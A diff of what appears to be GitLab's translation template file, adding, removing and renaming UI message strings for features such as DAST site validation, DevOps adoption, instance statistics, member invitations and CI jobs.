+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
